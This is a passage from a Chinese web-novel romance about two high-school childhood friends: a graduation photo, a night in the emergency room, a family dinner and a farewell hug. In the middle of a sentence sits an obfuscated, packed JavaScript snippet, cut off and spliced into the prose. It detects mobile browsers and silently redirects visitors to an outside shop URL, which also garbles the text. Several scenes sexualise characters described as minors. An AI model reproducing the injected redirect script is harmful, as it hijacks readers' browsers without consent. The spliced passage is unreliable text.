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周妈也不会惯着周祠。好比上次饭桌上,他逗她该鼓掌了的那次。私底下回家,夫妻两人一起坐沙发上轮番教育他,让他再在公众场合上让檬檬丢脸试试。 大人们常常念叨:“你们俩就是手心和手背。” 手心和手背,能分开吗?当然不能。 除了彼此尊重,更是要彼此照料。 周祠听完,劈里啪啦的敲键盘的声音渐渐慢了下来。 他修长的上半身微微往电竞椅上靠去。 少年左手指骨抵住唇。 再平视过来看着她。 许舒檬穿着绣着可爱毛绒小狗的夏日马甲毛线衣,下面是看着舒适感就很强的白色卡通短裤。 因为手反撑着桌沿的缘故,她这个姿势得微微弯着小腹。 许舒檬瘦,但是是四肢匀称的那种瘦。 高三在即,她压力大,前段时间老念叨自己长胖,要节食。 周祠不待见她减肥。 就98斤的体重,你再让她减,本是一米六五的身高,真要减下去了,那就是行走的风,一吹就倒。 于是他变着法的带她去吃好吃的。 偶尔还回来下厨给她吃。 吃完再带她下去散步。 她不好意思打球,觉得自己球技烂。非得等球场上都没人了,才让周祠带她下去玩几场。 许舒檬最烦小腹上的肉。 常常跟他抱怨,就很难减,还难看。一坐下来,就略微鼓起。 此刻周祠的目光就停留在她的小腹上。 说真的,他不觉得难看。 相反,他觉得那里很柔软,更是许舒檬身上一切温柔和细腻具象化的力量源泉。 像小猫四脚朝天,露出奶呼呼、圆滚滚的肚皮,让人不自觉地想靠。 就差一秒。 近在咫尺的小腹,让周祠几乎想要放下心里防备,揭开自己的伤疤,再小心翼翼地靠上去,然后狠狠抱住。 然而—— 偏过头,脸上的光线半明半暗。 “知道了。” “不早了。你早点睡吧。” 周祠还是做了逃兵,再接着,下了冷冰冰的逐客令。 许舒檬见他依旧是这种态度,只好放弃说:“好吧。你也早点睡。” 她往门口走,又想起自己漫画书还在周祠床上。 于是又折返。 官尚这会儿在游戏里正骂翻天。 本来都做好了捡装备的装备,结果周祠站在前面,起初动两下,现在一动不动,直接让对方狂砍血条。 周祠gameover掉,对面敌军见这两人又是好友号,从跃跃欲试,到最后追着他一个人狂虐。 官尚真是逼了狗了。 周祠这他妈是发的什么疯。 屏蔽掉官尚的喋喋不休。 周祠习惯性的伸手去兜里拿烟盒。 见许舒檬还没走出去,他又中途放弃,让手顺势垂了下去。 他就这么一言不发。 微微沉默的盯着窗帘看,带着晦暗不明的神情。 许舒檬不再说话,折身拿了漫画书就走。 只是,到底是觉得,那一瞬间,周祠的身上,像是笼罩了无尽的落寞。 - 日子一天一天过去。 高三大军最后一次模拟,让高二的学弟学妹们也胆颤心惊。 许舒檬还是照旧埋头苦学。 和诗曼同桌的这段时间,挺好相处的,但毕竟两人不怎么熟稔,所以许舒檬自然做不到像和书黛那般彼此亲密无间的讲些八卦,再吃些小零食。 至于书黛说的什么不可告人的目的,到现在,许舒檬也没有发现。 至此,她随遇而安,也不再东想西想。 只是在某次体育课结束再回到班级后,诗曼跟她讲话开始变得支支吾吾。 她难得开口向自己问那么多话。 许舒檬却被问的云里雾里。 诗曼问的内容无非是‘你和周祠到底是什么关系’‘你真的这么觉得吗?’ 许舒檬对类似的问题打从初中起已经解释无数回了。 她也不介意再向诗曼解释一下。 ‘好朋友’‘老同学’,再稍微说的更亲点,她和他是青梅竹马。 诗曼显然不信。见实在问不出什么,就突然道出最后实情:“那为什么有人说,你和周祠在体育室里亲了?” 有人,这个人当然是诗曼杜攥的。 毕竟真要有人看见了,那不得全班都在下一秒知道。 而诗曼之所以到现在守口如瓶的原因,是因为她真的、真的很需要亲口证实。毕竟她欠别人一份人情。 许舒檬瞪大眼睛解释:“怎么可能。我只是进去拿东西,不小心崴了下脚,他后进来,伸手扶了我一下。” 诗曼想起自己去体育室的水龙头外接水洗手,然后不小心看到室内的错影。 见许舒檬眼神坚定的像入党,诗曼有些动摇,会不会,真是自己看错了? “真的?” 许舒檬久违地翻了个白眼,仿佛很嫌弃:“拜托,和谁亲,都不可能和周祠亲。” 好比昨天,她因为随堂测考失误,而在房间里走来走去的抱怨。借口想了很多种。 这个时候,但凡当个人,都知道应该给她一些鼓励。 可周祠却突然停下手中的笔,漂亮指尖停在地球仪上的雷克雅未克,掀起眼皮懒懒看她:“与其怀疑别人,倒不如怀疑——” 她屏住呼吸,满眼期待。 “你的脑子。” 噔。 世界坍塌。 许舒檬当时没跟他打闹起来,都算是脾气好的。 那么谁又要喜欢一个,老是拆自己台的人呢? 诗曼和许舒檬同桌那么久,没见过一向淡定平和的她,脸上短时间内出现这么多精彩的表情。还以为她性格当真如白开水一样寡淡温和。 诗曼被许舒檬逗乐得笑了,由心感叹了句:“舒檬,我以前怎么没发现你这么有趣。” 许舒檬想喝水,拧开杯子才发现水凉了。 她同诗曼交说了句我去接水,便起身离开。 诗曼还在笑。见许舒檬走出了门口,最后笑意渐渐小了。 她拿出手机,编辑了一条【确认过了,他们不是那种关系】,最后发了出去。 迟让和丞帆拍毕业照的那天,周祠漫不经心地晃着下楼。 高二的还在上课,但也有不少脑袋冒出头来在窗户看。 两位学长搂着周祠拍了张合照。 回看生活了三年的校园,丞帆也是感慨万千。 “真不答应?” “不答应。” “我看你们班那个洛灿挺不错。” “那你让他顶你不就完事儿。” 丞帆点头:“成。有你这句话,我就放心了。” 校篮球队不至于等他走了就后继无人。 周祠嫌埋汰:“无不无聊。别什么事儿都拉扯上我。” 丞帆捶了下他肩头,绷着牙关,好像在最后毕业关头好好捶他一顿,心里不痛快似地,不然总是这么嚣张:“你小子,就欠揍。” 一旁的迟让,看着面前耸立的教学楼不说话。 周祠走过去和他并肩而站。 周祠要高些,双手插兜,黑发被吹动。少年校服领口有几颗没扣,白衣黑裤,显得他整个人更放荡不羁。 他搭腔:“舍不得?” 迟让眼睛眯了下,微微仰头:“在的时候不觉得,真要走了倒有点怀念。好歹也在这里渡过了三年的青春。” 周祠和他一同望向教学楼,面无表情:“让让,别想念哥,哥只是个传说。” 手肘往腰拐去。周祠躲闪。 一通打闹之后,即将分离的浓愁气氛总算淡了些。 迟让道:“等明年这个时候,看你还笑不笑的出来。” 周祠依旧笑得没心没肺,语调欠欠的:“我怎么就笑不出来了。” 丞帆和别人聊完天走过来,刚好听到这一句。 他挂住迟让的后脖子,先是打量了眼周祠,然后对着迟让语重心长道:“你还别说,让让,这次我站周祠。” 迟让气恼,把丞帆的手臂一甩:“你怎么也站这小子?” 丞帆揉了揉手臂,和他们并排站好。 三个少年伟岸高大的背影,在教学楼前拓墨成影。 丞帆突然老成的来了句总结性发言:“这小子的一整个青春都在身边。他当然有恃无恐。” 迟让本来想反驳,但是联想到周祠的青春不就是许舒檬。 再忽然一想,就算毕业了又不能把这两人分开,那还有个锤子的遗憾。 破镜重圆、经年道别这种狗血的事情更不可能在两人身上发生。 迟让耸了耸肩,一只腿伸着略抖地打趣:“我说祠儿,你就偷着乐吧。” 周祠仿佛意会到了两人说的是什么。 其实他一开始没往这个方向想。 主要是觉得毕业了也就毕业了,矫情什么。他跟班里人的交情又不深。散了也就散了,天下本就没有不散的宴席。 被丞帆一语道破,他才发现,说得,似乎,好像挺有道理。 周祠手掌握拳,笑着抵唇。暗自窃喜的笑了两声后,再伸手捏了捏丞帆的肩膀:“帆哥,一路走好。我就不送了。您老慢走。” 丞帆生无可恋:“周祠,你现在笑得很淫.荡你知道吗?” 丞帆回头过去和迟让控诉:“你看他这不值钱的样子。” 迟让倒先是看穿周祠这人的骚劲儿,开始担心起许舒檬来。 就如官尚所说,怕是檬檬哪天被这人吃了,都还误以为是自己把持不住的问题。 迟让冲丞帆耸了耸肩,随口一说:“别怕,总有让这小子栽的那天。” 周祠不以为然,觉得这两人吃不到葡萄就说葡萄酸。 他自信一笑,羡慕你祠哥哥我去吧。 13. 三分 期末考完试的最后一天,两人决定来一个报复性的熬夜。 石头剪刀布,最后夜宵选的许舒檬爱吃的烧烤。 “《环太平洋》,没得商量。” “《绿皮书》《绿皮书》《绿皮书》!”她也坚持。 一个拿碗,一个拿筷子,两人边说边拌嘴,木质矮桌上的美食也就摆好了。 难得惬意的夜晚。外面夏风带着一点润泽度的从窗户吹来。 许舒檬没让周祠开空调,她不想破坏这个大自然带过来的馈赠。 关上冰箱,周祠开了一瓶汽水。他对着玻璃瓶喝了一口,问许舒檬喝哪种口味? 许舒檬先占了桌边的位置,死死握着遥控器,绝不给周祠一点点抢夺的机会。 “菠萝。” 拿了菠萝汽水过来,两人就开始大快朵颐。 迟让和丞帆他们发了消息过来,让周祠一起去毕业旅行。 周祠看了下消息,当即嗤笑出声。 你俩毕业,拉我去干嘛。 迟让大概是看出让周祠一个人来怕是耽误了祠儿,于是又体贴的在群里说了句:“极力邀请你的家属一起。” 周祠看着家属那两个字,情绪跟汽水的泡泡一样,开始密密绵绵的轻快爆开。 周祠碰了碰旁边小仓鼠一样进食的姑娘:“诶,想不想去海边一起玩?” 许舒檬抱着膝盖,正嚼着脆绿的凤尾。辣椒让她的唇变得肿肿的,红红的。喝完一口汽水,姑娘唇上还带着亮晶晶。 周祠稍微看迷了眼。后又在心里骂自己,自己是不是有什么怪癖。怎么连许舒檬因为吃辣椒而红肿的嘴,都觉得十分诱惑有感觉。 她撸着串,咬着签:“哪个海边?” 于是周祠埋头打字。 许家祠:【哪个海边?】 许舒檬问什么,他就在群里打什么。 迟让他们这会儿还在外面聚餐吃饭。 一看这些细无巨细的问题‘住酒店还是民宿’‘飞机还是高铁’‘我们玩几天’‘有其他女生一起吗’,就不是周祠那人的风格。 “啧。” “啧。” 两人连连摇头,同时发出感慨。 “周祠旁边肯定是檬檬。” 丞帆拿下啤酒瓶,十八,毕业,解放了,今晚是注定不醉不归。 打了个酒嗝,丞帆脸上微酡,有些好奇问:“这都快十一点了,他俩这是住在一起?” 迟让细细回想,温润道:“隐隐约约听尚子讲过,以前檬檬寄养在周家过一段时间。不排除。” 丞帆连连摇头感叹:“这,近水楼台先得檬啊。” 周祠上辈子是积了什么德,能遇到许舒檬这么性子好,人又善良的女孩子。 没过多久。 许家祠:【就这么多。能行我们就来。】 旅行策划人迟让,当然是说好。毕竟多了一个女生,理应考虑周到。 许家祠:【OK,到时候见。】 就这么愉快的决定。 周祠放下手机,然后看了眼旁边的人。 清了下嗓,他突然就想试探一个问题,于是用吊儿郎当,自以为不在乎的态度讲道说:“毕业季很多地方订房间都比较困难,我看迟让也不一定能定到我们想要的房间。你说,要是到时候不方便,又没有其他女生跟你一起搭伙。你怎么睡?” 她水眸清澈,偏头看着他,回答的毫不犹豫:“那就跟你一个房间!” 汽水这下不是爆开了,那是地母级别的蘑菇云在周祠心里直接炸开。 许舒檬,这是真没把自己当男人来看? 周祠想起幼儿园,夏日鸣蝉,幼儿园老师常常把两个人放在一起睡。 因为他总是黏她。胆小鬼似的,生怕她那个时候不理他。毕竟只有许舒檬才愿意对他极其有耐心。 再大点,俩小学生被大人们带出去吃饭,或者游玩。累了就头碰头,肩捱肩的一起睡。 是啊,以前可以,现在为什么不可以。 带点耳根发红,带点沾沾自喜。从左到右,慢动作的,周祠拿指腹擦拭了下嘴唇,觉得这个动作很Man道:“不好吧。” 许舒檬盯着电视,自然地脱口而出:“有什么不好,到时候你睡沙发,我睡床。坚决不给迟学长添麻烦。” 少年才拿下来的手指,停滞在空中:“什么?” 许舒檬悠悠转过眼睛,和略带失望的周祠对上:“怎么,你不愿意?” 周祠确信了。 许舒檬,这不是没把自己当男人来看,而是,根本没把自己当人来看。 周祠默默吃饭,不讲话了。 两人吃完已经快到12点。 许舒檬因为暑假而欣喜。没有学习,不用早起,又饱餐一顿,爸爸妈妈,还有许爸许妈下个星期也约定好了会回来一趟,一切美好都指日可待。 怀着无比舒服的愉悦心情,她起身,因为久坐而有些头晕眼花,导致她不得不及时伸手摁在周祠头发浓黑茂盛的脑袋上,来维持一下平衡。 免费当了一回人形拐杖,周祠敢怒不敢言。 许舒檬洗完澡,跟周祠互相道了晚安就去了房间休息。她觉得自己今天特别累,腰还酸。不知道是不是连考了两天试,自己紧张过度导致的。 算了,不去多想。反正接下来有的是时间来补眠。 一夜本该好梦。 凌晨三点,周祠睡眼惺忪,起来放水。 周祠的习惯是不开灯,灯光刺眼。 是以,等他意识模模糊糊的走进洗手间时,女生细微的颤栗呼吸声,以及在马桶上紧紧蜷缩的瘦弱身体,他是一点都没留意到。 扒拉着裤子,从里面掏出尺度可观的庞然大物。 刚掏出来对准某个方向,黑夜掩盖下,许舒檬缓缓从手臂里抬起头,脆弱地喊出了声:“...周祠。” 太弱了。 弱到周祠当时明显愣了下。 还在分辨这声音到底是幻听,还是现实世界里的真实? 待他觉得不对劲时,周祠才浑身一哆地把东西放回去,喉咙低声划过一声操,接着打开灯。 他锋锐的眉紧拢:“你怎么不开灯?” 一开,看清许舒檬的全貌,周祠才是猛地背上一激灵。 她白煞着张脸,以一个紧紧抱住膝盖的姿势在蜷缩在马桶盖上。整个人静的如同一只病怏怏的小奶猫。呼吸脆弱可断,头发湿氤,像被人刚从水里捞出来似的。 许舒檬唇肉泛白,眼前失帧道:“我疼。” 太疼了。 生理期疼。 甚至疼到每说一句话,小腹都像是被人用钝刀一点一点的割开。唯有保持这种姿势,才能让自己好受些。 周祠连忙蹲下,急切仰头地望着她:“我给你拿药?” 许舒檬张不开嘴。她的脑袋渐渐下跌,搭在他肩头,甚至有种越来越失重的趋势。 周祠用额头贴上她的额头,才发觉许舒檬的体温变得又烫又冷,看起来像是发低烧。 他当机立断,皱着眉,把人利落地一把抱起来:“不行,我还是带你去医院吧。” 动作麻利的给人用外套一裹。 打的车早在外面等候多时,他抱着软的没有一点力气的人坐进后排。 这是一个难眠的夜晚。 车一路奔驰。 早起的环卫工人已经开始打扫,路边的早吃店能见灯火星点。 排成两列的高大梧桐树,投下一道又一道的影子,在周祠紧绷的脸上掠过若影若现。 许舒檬就靠在他的脖子上。呼吸湿热,偶尔实在受不住,才小声的嘤咛一声。 他听得一抽,紧紧地握住她的手,渡给她包裹的温暖。唇在她耳边讲:“疼就掐我。我不怕疼。” 眼睛紧闭,许舒檬有气无力交代:“别给爸妈讲。” 周祠偏了下头,唇贴着她的发顶。良久,少年喉结滚动,闷声道:“嗯。” 不跟大人讲,成了两个人长年养成的无声默契。 讲了他们也回不来,还会徒增父母的担心。 能自己解决的,那就是自己弄。 他们养成了懂事的独立,也知道不给在外工作的父母添麻烦。 但也正是因为如此,在彼此叠加的成长轨迹里,两颗少男少女的心,在一次又一次的意外发生时,更加紧密的连在一起。 “慢性胃炎。低烧。小姑娘是不是睡前吃了什么刺激性的东西?” “输个液吧。以后作息要规律,别搞突袭。” “尤其是你们高中生,压力又大。你生理期又来了,免疫力低下,多注意点。” 和蔼善良的急诊科医生开了单,周祠道了谢,就抱着她去输液。 凳子冰凉,许舒檬还是倔强地保持着卷腹的姿势,要更好受些。 许舒檬呼吸还难受,她呢喃:“对不起。” 周祠让她靠自己宽瘦的肩膀上,他用自己的灰色帽衫外套把许舒檬完全包裹住,免得她大半夜受凉。 周祠没休息好,声音也有些哑,眼下也泛着淡青。 真遇上事,他这人也有极其冷静和稳重的一面。 少年低声安慰人道:“别瞎说。下次再让你一个人狂吃那些辣的,我周祠名字倒着写。” 许舒檬默默点头同意,知道自己下次不该再贪嘴。 她困乏地耷拉了下眼皮,感受着身边人带来的安心,接着,就去见周公去了。 凉凉的针头从白皙的肌肤皮层下被抽离。 等许舒檬再醒来的时候,医院来来往往的人,也开始多了起来。 早上六点,一个圆眼睛苹果脸的护士帮她把针头取下。 许舒檬拿棉签按压着冒血的针孔,轻启干涩的嘴唇道:“谢谢。” 护士笑得很甜:“不谢。小妹妹,那个跑前跑后的是你男朋友吗?这年头,这么体贴的小男生不多了。” 护士以为两人是未成年的小情侣。 更是自动脑补出小女友半夜生病,男生狂奔抱着女友去医院的感人青春爱情故事。 许舒檬输了液好多了。但因为休息不好,以及饿了的缘故,整个人还是有种我见尤怜的清纯娇弱感。 就连护士也没忍住多看了她几眼。这姑娘怎么天生就长得一副让人心疼的样子。 “不是。他是我哥哥。” 没精力多解释,许舒檬用这个借口含糊了过去。 护士听完,先是错愕,原来是这样。接着又是感叹,怎么俩兄妹长得都这么出众。 最后,护士收好自己的治疗盘,看着远处渐渐走近的颀长身影,以一种过来人的眼光,些许遗憾道:“啊,那你以后的嫂子有福了。这么细心的小伙儿,谁要是被他喜欢上,怕是一辈子都被宠。” 许舒檬还窝在椅子上,有些凌乱的黑色发丝遮住小脸。 她循着护士的目光看过去。 周祠手里提着早餐疾步走回来,许是怕她等久了见不到人心慌,几乎是用跑的。 天光见亮,走廊在少年身后呈现白茫茫一片。 黑瞳澄澈的少年,宽肩窄腰,眼皮薄薄,立体分明的脸,变得比之前更加成熟。当然,如果不是跟自己斗嘴的话。 嫂子二字还在自己耳边回荡,许舒檬收回目光,看着因为输液而开始泛青的手背。 她拿另一只手指抚在伤口上慢慢轻抠,突然就觉得‘嫂子’这种平日里听起来不咸不淡的字样,在此刻竟然变得有些刺耳。 哪怕周祠根本不是她哥。 但她承认,还是隐隐约约冒出一些,不舒服。 - 两人打车回了家。 许舒檬在车上就喝完了豆浆,小口吃着烧麦。 她把东西喂到周祠嘴边,周祠正抱手闭眼养神,紧锁眉头说了句别吵,到了再叫我。 她知道周祠忙活了一晚上也累。但许舒檬坚持让他吃几口垫垫肚子,免得跟她一样,以后胃疼。 “吃一口吧,就一口。” 他无动于衷,唇线紧抿不语。 许舒檬只好垂头丧气地收回,自己把剩下的解决掉。 结果刚咬了一小口,他就凑过来一口叼走。 许舒檬气得无语,直想打人。 让你吃的时候不吃,我吃的时候你又过来抢。 仿佛她吃过的,更香似的。 许舒檬不跟他计较,毕竟昨晚他也是个大功臣。 到家,她去洗手间收拾一番后,就想着赶紧补觉,不然脸色真的苍白的跟一张白纸一样。 周祠也正有此意。 于是两个人一个往左,一个往右,默契地朝着各自的卧室走去。 暑假生活的第一天,以睡到日上三竿而正式开启。 十二点,小区里饭香飘逸。 周祠被吵醒,终于动了动。 再然后,他正面仰躺,才发觉这屋子怎么跟自己的那间不一样。 手被什么东西压着,他往旁边一看,混沌的大脑渐渐苏醒了过来。 许舒檬正枕在他的有力臂膀上,手正抓着他的衣角,一副依赖性十足的样子。 她的脸色算是恢复了红润,唇色粉嘟,带点欲。 周祠这才忆起,睡到一半,他实在是怕了,怕半夜的旧况复发。 所以才不放心地拿了体温计过来,再帮许舒檬量。 夹体温计的动作让她醒了点,半梦半醒间,她竟然抬手拉住周祠的领口往下压,之后就没再放开过。 再然后,为了不打扰许舒檬睡觉,自己熬了一个通宵也累了,于是周祠直接无奈睡在了被面上。 她往热源靠拢,拿手无意识地搂住他的腰。 一室就这么和谐了下去。 这会儿先醒的是周祠。 见许舒檬还在呼呼大睡,但睡裙已经掀起,翻到胸口。 周祠目光如触碰到火山,瞬间重新躺了回去,连呼吸都不敢大喘,瞳孔睁大,盯着天花板一言不发。 明明昨晚还在肖想睡一间房。 但真睡在一间房了,他竟然有些怂了。 没敢看,头往一侧别开,脸色紧绷,大掌往下,他把许舒檬的睡裙往下拉了拉。 小心翼翼地起身再往外挪,再把门关上。 走出门外,周祠一身冷汗,捂着胸口,狠狠松了一口气。 他烦躁地薅了下头发,清晰地意识到,现在的他们,确实和以前的他们,不一样了。 因为以前的许舒檬,根本就不可能会有C杯的尺罩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14492497|154586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。 - 迟让发来消息,说毕业旅行暂定8月。 因为7月中旬,周祠得去参加数学竞赛。李里格寄予厚望,对结果也很是关注。 上次周祠因为打架事件被主任取消了这学期的奖学金,那这次竞赛就得十拿十稳,一点出错的可能性都不能有。 不过在参加比赛之前,两家父母终于抽空回来,凑齐了一趟。 “檬檬,怎么又长乖好看了!哎呦,过来给芳芳阿姨好好看看。” 订的山海宴包间。 周祠带着人一进去,许舒檬就被周妈给搂了个满怀。 同样的,舒妈看到周祠,也是率先走过去拉着左瞧瞧,右瞧瞧。 “小祠是不是又长高了?我记得你以前就有185高啊。” 周祠一本正经:“舒姨,现在187.2cm了。” 舒妈笑得合不拢嘴:“你看阿姨这个记性。” 妈妈们拉着儿子女儿在谈家常,爸爸们就在谈论生意场。 等见面的激动之情消磨的差不多了,才正式开饭。 周妈对着许舒檬热情的开炮。 无非是问‘周祠最近有没有欺负你?’‘欺负你了就跟芳芳阿姨讲,阿姨帮你收拾他’。 许舒檬伸手夹了一块柠檬鸡肉,乖巧内敛道:“没。他最近很乖。” 周妈笑得腰肢乱颤:“乖就好。檬檬你帮我管着点他。就怕这小子目中无人,到处惹祸。” 周祠伸手转着菜,把舒妈爱吃的桂圆莲子羹转到她面前。然后再对着他自个儿妈道:“得了吧,妈,少说两句,我们的母子情还能更浓烈些。” 周妈笑着警告了他一眼,接着才和舒妈继续聊起来。 吃到后面,两家父母才开始对儿女的高三发了话。 周爸是当公司领导当久了,说话大是大非格局打的很开。 周祠的目标不出意外,是追逐状元。 而许舒檬的目标,是好好考,能多考一分就多考一分。 周爸放下红酒杯,问周祠:“你想考哪儿?” 周祠倒没先回答,而是看了眼许舒檬,体贴的把这个话语优先权给了她。 周爸血脉相通,于是也是很有眼力见的问道许舒檬:“檬檬,不介意的话,给叔叔讲讲,中意哪所院校呀?” 许舒檬默默举着饮料杯,小口道:“京大。” 京大,TOP1的学校。 许爸舒妈疼惜地看着自己的女儿。舒妈拿手把她的马尾从胸前放至身后,再帮她理顺。就这么简单的动作,看出舒妈对女儿的百般心疼。 她和老许在外打拼不就是为了给女儿一个优渥的环境吗。舒檬懂事,这两年,从年级前200,一路拼搏到了前15名,中间吃的苦,当妈的怎么不知道。 京大,倒不是对女儿信心不足。 而是两口子属实心疼,说是一分干掉一千人,越往上走也是难。最后高三这一年,那得下多大的苦功夫才够得上。 他们对檬檬的未来看得很开。能上就上,不能上,爸妈养着。无论什么结果,他们都接受。 舒妈摸摸女儿的脑袋:“你想考,爸爸妈妈肯定支持。但清大啊、复大啊、民大啊这些也不错。所以,你别给自己那么大压力。” 许舒檬弯弯嘴唇,笑眼盈盈,蹭了蹭她妈的肩膀:“嗯,妈妈,我知道。但我就想试一试。” 周祠看着许舒檬不说话,良久抿了一口饮料。 等饭局散了,两家人一起散步回家。 周妈拉着许舒檬走后面,悄悄塞给许舒檬一个巨厚的红包。 许舒檬根据以往经验,猜测里面没有两万那也得有一万。 周妈笑眯眯:“别给你妈妈讲,不然她又要嚷嚷着退给我。” 许舒檬懂事地忙摆手说阿姨,我不要。 周妈挽着亭亭玉立的许舒檬,佯装生气:“阿姨给你的鼓励费,你什么不要。听话,在阿姨眼里,你跟周祠都是一样的,都是我们的宝贝。学习上,让周祠帮着你。生活上,阿姨都还得你帮忙多费点心。” 儿子大了,做不到成为女儿那样贴心的小棉袄。也不愿意跟妈妈聊些体己话。 周妈趁着这个时间,搂着许舒檬聊了关于周祠的很多事情。 大人有大人的世界。孩子也有孩子的世界。 平日里虽然和周祠相爱相杀,但在父母面前,许舒檬还是替周祠留了好些面子。 什么打架逃课的糗事那都不值一提。 两家人回小区的路上,吸引了同小区居民的很多目光。 父母气质好,儿女颜值高。路过小区门口,物业人员打完招呼,也是连连在背后称赞。 舒妈回来了,许舒檬这段时间就下楼,回了自己家休息。 和自己妈妈睡在一起,两母女说了很多久违的卧谈会话。 谁知道,出其不意,舒妈最后的话题来了个峰回路转。 她看着洗完澡后,闻起来就奶香香的明珠女儿道:“京大非考不可?” 许舒檬被问得突然卡壳,睁着清凌凌眼睛:“妈妈,你怎么突然问这个?” 舒妈点了点她的鼻子,眼光毒辣道:“你是我生的,我还不知道。你能有这鸿鹄之志?”刚在桌上没点破她,是给她脸面。 许舒檬把被子裹得更紧,只露出小巧的下巴,长长又弯曲的睫毛在眼睑处搭出一片阴影。 往被子又藏了藏,过了会儿:“我不想跟周祠分开。” 周祠没明讲,但去京大是板上钉钉的事情。李里格之前推荐他去国外,推荐信随意写。周祠想都没想就拒绝了。 那次许舒檬问他:“国外多好。空气好,机会也多。以后你回来了,就是高端洋气的精英白领。为什么不去。” 周祠却反应极大地盯着她道:“你认真的?我走了,你怎么办。” 一句话,把许舒檬当场问的哑口无言。 那是许舒檬第一次意识到,在周祠的潜意识里,她和他不会分开,也没打算分开。 人都说往高处走,哪有往低处流的。 许舒檬毫不怀疑,那么如果自己没考上京大,他也会跟着自己去其他学校。 可他这么好的资质,如果不去顶尖的院校,那岂不是可惜了。 反正都要拼搏,为什么不是自己往前走一步。 “就像跑800米,冲刺的那一刻肯定很难受。但想着争分夺秒,喉咙再干涩,大腿再无力,风的阻力再大,我想,只要我咬一咬牙,屏蔽那些痛苦,只一心朝着自己的目标,那我也一定可以。” 舒妈都快听哭了。 自己那个扎着羊角辫,穿着白色小裙,总是问自己要大白兔奶糖吃的小女儿,何时长成这般温柔的模样。 温柔,能包裹世间的一切尖锐,磨平粗糙的棱角。 舒妈摸上女儿的小脸,热泪盈眶道:“檬檬,你只要想清楚,不怕累,不怕苦,那爸爸妈妈还有周叔周姨,都给你加油。” 许舒檬及时补充:“还有周祠!” 舒妈一听,脸上挂着无奈和宠溺。 一看时间快12点了,她催着:“好了好了,睡吧。”。 结果刚熄了灯,舒妈在黑暗中又突然来了句:“檬檬,你是不是已经有喜欢的人了?” 14. 三分 走之前,周祠交代许舒檬就在家待着。外面太阳晒,皮肤容易紫外线过敏,就别老出去晃悠。 “数学模拟卷写完了吗?物理测试题别三天打渔两天晒网,还有” “行了你快走吧。大巴车都来接你了,你还啰嗦。” 周祠头发剪短了。原先的碎发微垂,现在成了贴着头皮的黑色短寸。 不过这样显得他人更精神,五官更加精致硬朗,甚至带点痞痞的味道。 黑色鸭舌帽,单间背包,穿着白色T恤,灰色牛仔裤。 周祠看着身前推上来的小手,难以置信:“你是真的一分一秒都不想见我?” 许舒檬一听,把手收回,背在身后,脸颊略微鼓了鼓:“什么叫不想见你,你能不能别把话说得这么难听。”还说得那么暧昧。 周祠拿手拍了拍她的脑袋,装作凶巴巴的样子:“谁叫你赶我走。” 学校统一安排的大巴车已经从远处驶来。 许舒檬耳边发丝被风吹刮过秀气鼻梁,她抬头说:“那你去吧。我等你的好消息。” 周祠嘴角发出耐人寻味的弧度,然后莫名其妙的把手臂张开。 风从他的背后灌入,白衣下摆风发,让他整个人在风里彰显出恣意的轮廓。 许舒檬往后退一步,疑惑道:“你干什么呀?” 周祠理所当然挑眉:“不给个鼓励的抱抱?” 救命! 许舒檬是真的快被无语到了。 他又不是第一次去比赛,而且之前也去过几次,和别的选手相比,那简直就是轻车熟路。 那他是在矫情个什么鬼。 许舒檬见他手一直不放下来,大有她不抱,他就不走了的趋势。连旁边走过的路人都看了奇怪。 心里骂了一声幼稚鬼,许舒檬最后大发慈悲的贴了上去。 一贴上,少年薄荷清新的味道就慢慢在鼻尖散开,带着和她一样的洗衣液味道,安心又沁人。 周祠抱得很紧。像是要把许舒檬嵌入到骨子里。 许舒檬说不出来。这样的力度甚至很大,压得她胸腔快喘不过气。 却让人感到很舒服,有种被狠狠珍视的感觉。 他在许舒檬的纤细腰背后面又拢了拢手臂。 许舒檬整个人被带着又往上、离地了一点,导致自己不得不垫起脚尖。 少年绵长湿热的呼吸就喷洒在耳边,没了刚才不着调的语气,现在全是认真:“说好了,等我回来。” 像是出发战场,临走前生死遗言,有深情交代的那个味儿了。 许舒檬有些不适应他这么正经。 她别扭的歪头,故作轻松地回了声:“嗯。” 一放开,透明的空气涌入两人之间近在咫尺、又狭窄的身与身距离里。 周祠低头去找她的眼睛。又抬头看了看天。 早上十点,没了云层遮盖。红彤彤的太阳都暴露了出来。 周祠拿手背贴了贴她脸颊。 有些担心道:“回去吧。我看你脸又要快过敏了。” 许舒檬匆忙说了声再见,就埋头回了小区。 一路上,绿荫遮盖,路边小黄花摇曳,像在对着脑子正乱成一团毛线的少女热情的笑。 许舒檬想着那晚和妈妈的对话。 “妈妈,什么是喜欢?” “就是你不排斥和他肌肤接触,还很贪恋。” “你和爸爸也是这样吗?” “当然。现在也是。” “肌肤接触,包括哪些?” “拥抱,亲吻。” 舒妈念着自己女儿毕竟未成年,后面两个词直接省略。等檬檬过了20岁,也许她就会告诉她——上.床。 不是激情一时,而是自然而然。 你的手攀附在他的掌心,十指相扣,从唇齿交津的脑袋交错动作,到坦诚相见的衣服脱落。 最后,到达浓情深处的交髯,会让女孩肌肤如雪的通体,呈现潮红粉嫩的可爱颜色。 许舒檬眨了眨眼:“原来是这样吗。” 舒妈见女儿问出这句话,自己心里的猜测印证了一大半。 接着:“檬檬,你试过了?” 许舒檬傻里傻气的,还不知道自己认真回忆的样子,就这么掉进了妈妈的圈套里去。 “没有。” 和周祠拥抱,好像没有。 亲亲,更别说。 许舒檬用被子遮住脸颊,往下缩了缩,然后在里面假装困劲儿上来,闷闷道:“妈妈,我困了,我也累了。晚安。” 舒妈侧躺,垫着脸颊无声的笑。 觉得等高考完,是不是该和周妈好好出去逛一次街,提前联络联络感情了。 说是迟,那是快。 那晚许舒檬在梦里才有的场景,在今天竟然实现了。 等抱完分开,她不排斥,相反,她还很喜欢。 喜欢自己被周祠密不透风环抱的感觉,还喜欢他身上干净清爽的味道。 走着走着,许舒檬就低头笑了。腼腆、羞涩,带点小雀跃。 